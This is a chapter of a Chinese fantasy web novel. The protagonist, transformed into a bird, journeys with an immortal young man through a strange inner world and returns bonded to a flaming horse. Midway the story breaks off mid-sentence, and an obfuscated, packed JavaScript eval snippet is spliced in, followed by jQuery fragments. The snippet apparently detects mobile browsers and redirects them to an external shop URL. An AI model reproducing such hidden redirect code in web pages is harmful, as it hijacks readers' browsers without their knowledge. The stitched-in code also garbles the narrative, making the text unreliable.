16.塔坎瑟斯

作品:《天选美强惨,但乐子人

    炽热的岩浆向四面八方流淌。焦石堆里,多足昆虫尖啸着振翅飞翔。


    地火喷涌,一只灰褐色巴掌大的鸟狂扇翅膀,堪堪躲过。


    火焰将鸟的尾羽烧掉一截,让它飞得越发歪斜。


    季泠州的心都提起来,这是他第一次飞行,没有乘坐飞机,也没有借助滑翔伞之类的工具。


    纯靠一对翅膀。


    他猜想,自己或许已经进入里世界了,在夜莺的神奇药剂的帮助下,以一只鸟的身份。


    这片满是火焰和岩浆的大地无边无际,毫无落脚之处。


    这具鸟的躯体里,体力近乎无尽。


    不知道飞了多久,就在他几乎要忘记自己曾是个人时,终于看到了一片无火的岩石地。


    他精神一振,浑身上下的羽毛都支棱了起来。


    那双绿豆大的鸟眼,精准地捕捉到嶙峋怪石里,顽强生长着的一丛灌木。


    巴掌似的叶子里,挂满了指甲大的红色果实。


    以人的身份,季泠州认不出那是什么。但以鸟的身份,他知道那东西能吃。


    他调整翅膀的角度,朝着灌木一头扎了下去。


    然后,精确地被套绳缠住了爪子,他挥舞着翅膀试图挣开,却徒劳地让绳子缠得更紧了。


    挣扎牵动枝丫,几个果子掉落砸在头上。


    季泠州欲哭无泪,也太倒霉了。


    苍白挽歌,是你又生效了吗?回答我!


    自打塔洛恩把那雕塑送来,自己几乎日倒一霉,厄运不断。


    刀子捅、棍子砸、挖眼的还在路上,如今又困在了捕鸟陷阱里。


    他头朝下,静静地挂在那里思索人生。


    昏沉的天空,飘来几片巨大的积雨云。


    电闪雷鸣过后,拇指大的冰雹砸了下来,接着是滂沱大雨。


    季泠州浑身的羽毛都湿透了,贴在身上。


    朦胧中,想起动物世界看过的一句话——体型越小的动物越容易失温。


    他失去了意识。


    ……


    篝火噼啪作响。


    鼻尖弥漫着熬煮谷物的香气,似乎有人在摸自己的头,意识到这,季泠州猛地睁开了眼睛。


    一条几十米长的柱子朝自己探来。


    他跌跌撞撞着朝一边躲去,失去平衡试图抓住什么稳住身子,却震惊地发现自己没有手。


    他径直掉到了某种炽热黏稠的液体里。


    “别乱动!”有人惊呼一声。


    一只手迅速将季泠州从锅里捞了出来。


    他这才想起来,自己变成了一只鸟,刚才的柱子,大概是那人的手臂。


    面前,是一堆篝火,上面用石块架着一个陶罐,里面煮着淡黄色的块状物。


    是马铃薯,这个世界的人更喜欢称其为“地豆”。


    火堆旁,是间歪斜的茅草屋。


    一个岁数不大的年轻人正拿着布片,小心翼翼地帮季泠州擦拭羽毛。


    年轻人眉目精致,神色专注而平和。


    “我很久没见到活着的生命了,你是从哪里来的?有家人吗?相比你的家人也是鸟吧。”他话很多,自顾自地说个不停。


    “不好意思。我忘了,你是一只鸟,而且看起来很笨。”年轻人微微一笑,露出整齐的牙齿。


    没多久,年轻人就擦干了所有羽毛。他抓了一块地豆,放在手心,示意让季泠州吃。


    毛茸茸的鸟脸上露出人性化的不情愿神情。


    他并不需要食物。


    他是人,并不愿意像鸟一样,从人类的手里取食。


    而且,上次主动寻找食物的经历给他留下很不好的印象。


    最重要的是陶罐口笼罩着一圈朦胧的光,被氤氲水汽笼罩,很是显眼。


    会发光的地豆?


    里世界的植物,还真是让人(鸟)大开眼界。


    季泠州撇过头,振翅向一边的架子飞去。


    年轻人脸上怅然若失:“你也不需要吃东西吗?或许你也是幻象。”


    他打了个响指,茅草屋、篝火和陶罐瞬间消失。


    “该继续出发了!”他轻叹一声。


    周围依旧是一望无际的旷野。


    季泠州的爪子刚要碰到架子,架子就消失了。他只好扇动着翅膀兜了一圈,重新落在年轻人的头上。


    年轻人感觉头顶一重,惊喜万分:“你是真实存在的吗?”


    他的声音很好听,如山间清泉,干净透亮。


    季泠州想说:“是。”嘴里却发出清脆的鸟叫声。


    年轻人伸手抚摸了一下季泠州脊背的羽毛,笑着寻了个方向,大步出发。


    季泠州则安稳地卧在年轻人头顶。他不知道自己深处何地,也不知道该如何离开这里,只好跟着唯一的智慧存在,寻找机会。


    之前,他曾读过几份塔坎瑟斯攻略,里面大多提到受仪式者来到一片满是各种动物的花园。


    而此处,唯一的活物就是那个年轻人。


    接下来的旅程,不需要季泠州自己飞了,他稳稳地站在年轻人的头上,搭顺风车。


    年轻人大概是孤独了太久,一路上絮絮叨叨说了许多。


    有奥妙的超凡知识,也有他的人生经历。


    年轻人的经历很简单,大概可以概括为:他是一个强大的超凡者,或是直接就是个异常。


    他活了无尽的岁月,久远到连自己都记不清开端和过程。


    曾结交过一个朋友,但那个朋友消失了,临别前托付给他一件事,他现在就在做这件事。


    他喜欢热闹,但很可惜,这里一点也不热闹。


    季泠州很想问他,到底是怎样的友谊?值得你付出这么多。


    可惜,他只能发出清脆的啼鸣声。


    时间在日复一日的跋涉中过去了,年轻人的话一天天减少,逐渐安静下来。


    季泠州跟着他,穿过了石头构成的旷野、翻过了巍峨雪山、穿过漫无边际的草原和森林、又泅渡过一片淡紫色的大海。


    最终,来到世界的尽头。


    这里是无光的世界,只有黑暗和虚无。


    年轻人的身上亮起淡淡的光,照亮周身几米的范围。


    “小家伙,多谢你一路的陪伴。”他将季泠州捧在掌心,轻声道。


    接着,他伸手从季泠州身上拔了一片羽毛。


    “嘶!”好痛!季泠州飞到年轻人头上,用唯一的武器——鸟嘴啄他的脑袋。


    “谢谢你的羽毛,我会好好收起来,作为纪念。”


    年轻人说完,双手攥住黑暗,撕了一大块下来。


    季泠州惊呆了!


    无光的世界缺了一块,露出外面透明的星海来。


    “啊!真实之海,每次看都是这么漂亮。”他站在小洞外面,欣赏了一会,感慨道。


    季泠州的眼中,星海是由无数线条交织构成,每一秒都有无数的符文诞生湮灭。


    眼前的一切,仿佛是永恒的具象,由极致的美与奇异堆砌而成。


    一旁,年轻人似乎是看腻了,了然无味地低下头,认真摆弄手里的世界碎片。


    骨节分明的指头相当灵活,三五下就捏出根羽毛的形状。


    他举起那根晶莹如玉的漆黑羽毛,很是满意,然后将它轻轻插回到季泠州的翅膀上。


    “嘶!”这次更痛了。若说上次只是身体之痛,这次则直击灵魂。


    巴掌大的鸟儿蜷成一团。


    年轻人提起鸟脚,朝来时的路用力一抛。


    一道灰褐色的流星划过森林草原、雪山旷野,回到最开始的地方。


    地火喷发,鸟儿消失在炽焰中。


    季泠州猛地睁开眼睛,被火焰焚烧殆尽的痛苦似乎仍未消退。


    他大口地喘着气。


    夜莺好奇地看着他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195674|196972||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“你抓到了什么?你看,契约戒指消失了。”


    他抬手按住额角,那根漆黑羽毛插在了自己的灵魂上,让脑袋不断抽痛。


    抓?自己似乎没看见除年轻人外的第二个活物。


    那个年轻人,能轻易将世界撕裂一角,很明显不是自己能抓到的。


    “我可能是失败了。”他无可奈何道,“能再来一次吗?这次不太顺利。”


    夜莺摇摇头:“成为半神前,每个人只能进塔坎瑟斯一次。”


    “不过。”她话锋一转,“我注意到你的契约戒指消失了,按理说你成功了。”


    塔洛恩·加兹鲁维推门而入。


    “我那高高在上的公主,你在办公室喝茶看报的功夫,我跑断了腿。”


    他嘴里抱怨着,用力给自己扇风。


    忽然,他动作一滞:“这小子该不会契约成功了?”


    夜莺:“是的。他的戒指消失了,代表对应的那条路走通了。”


    塔洛恩用力拍了一下季泠州的肩膀,笑眯眯地说:“小子,快放出来让大家看看。”


    季泠州:“要怎么做?”


    夜莺:“你闭上眼睛,在意识海里能看到除职业外的第二团光辉,你戳一戳它,就行了。”


    听起来,有点像去动物园逗猴儿?


    他将信将疑地闭上眼睛,只见意识海里,悬浮着一支漆黑的羽毛。


    正是年轻人捏出来的那支。


    他试着用力量拨动羽毛。


    下一刹,巨量信息涌入他的脑海。


    可惜,这些信息过于晦涩难懂,大部分如同天书般玄奥。唯一知道的,就是这羽毛很有用。


    但他目前只能调动羽毛微不足道的一点力量。


    办公室中央。


    空中燃起幽绿烈焰,一匹四足燃着火焰,异常神俊的马嘶鸣一声,凭空出现。


    塔洛恩深深吸了口气:“天!一匹真正的塔坎瑟斯马?”


    夜莺霍地站起身,向来平静的脸上,惊讶表情油然而生。


    “我先前只是听说,塔坎瑟斯马比寻常的马更为高大健壮。没想到,它如此……”她顿住,似乎在整理措辞,“如此华丽。”


    他想,这自然不是塔坎瑟斯马,这是午夜呀!他曾在游戏里数着cd刷了一年,最后只能无奈放弃。


    马儿甩着尾巴,亲切地拱着季泠州的脸。


    他抚摸着马燃烧着火焰的鬃毛,竭力不让脸上露出洋洋得意的神色,说:“看起来是不错。”


    “天杀的幸运儿!”塔洛恩咬牙切齿。


    夜莺在心中默念:“嫉妒是罪孽!夜莺,快控制住自己。”


    季泠州一头问号:“你俩演得有点假了。”


    夜莺有气无力地坐回去:“你和他讲吧。”


    塔洛恩目光痴迷地看着季泠州的马,用如梦似幻的语气解释:


    “塔坎瑟斯特指里世界的一块特殊区域,那里生活着各式各样的里世界生物,它们天生好奇心强烈,所以很容易被骗到现世。”


    “其中,以塔坎瑟斯命名的马最为有名,传闻它速度极快,甚至能帮助主人撕咬敌人。”


    季泠州皱眉:“所以说,协会指的送塔坎瑟斯马,实际指的是塔坎瑟斯的某个生物?”


    夜莺:“是的,即便只能抓到一头猪,也足以带出去炫耀了。”


    “要知道,塔坎瑟斯生物是天生的信使。在不带人的情况下,能穿越一切结界。”


    “骑乘只是它最微不足道的能力。”


    “季,你真是该死啊!为什么要让我知道你拥有了一匹塔坎瑟斯马?”塔洛恩咬牙切齿道,


    “嫉妒就像是火焰,疯狂地灼烧着我的心智。”


    夜莺无力地摆摆手:“幸运儿,请停止炫耀。我们该说正事了。”


    “塔洛恩,这件异常物不简单,它能做种子。”她指着抽奖盘,满脸认真。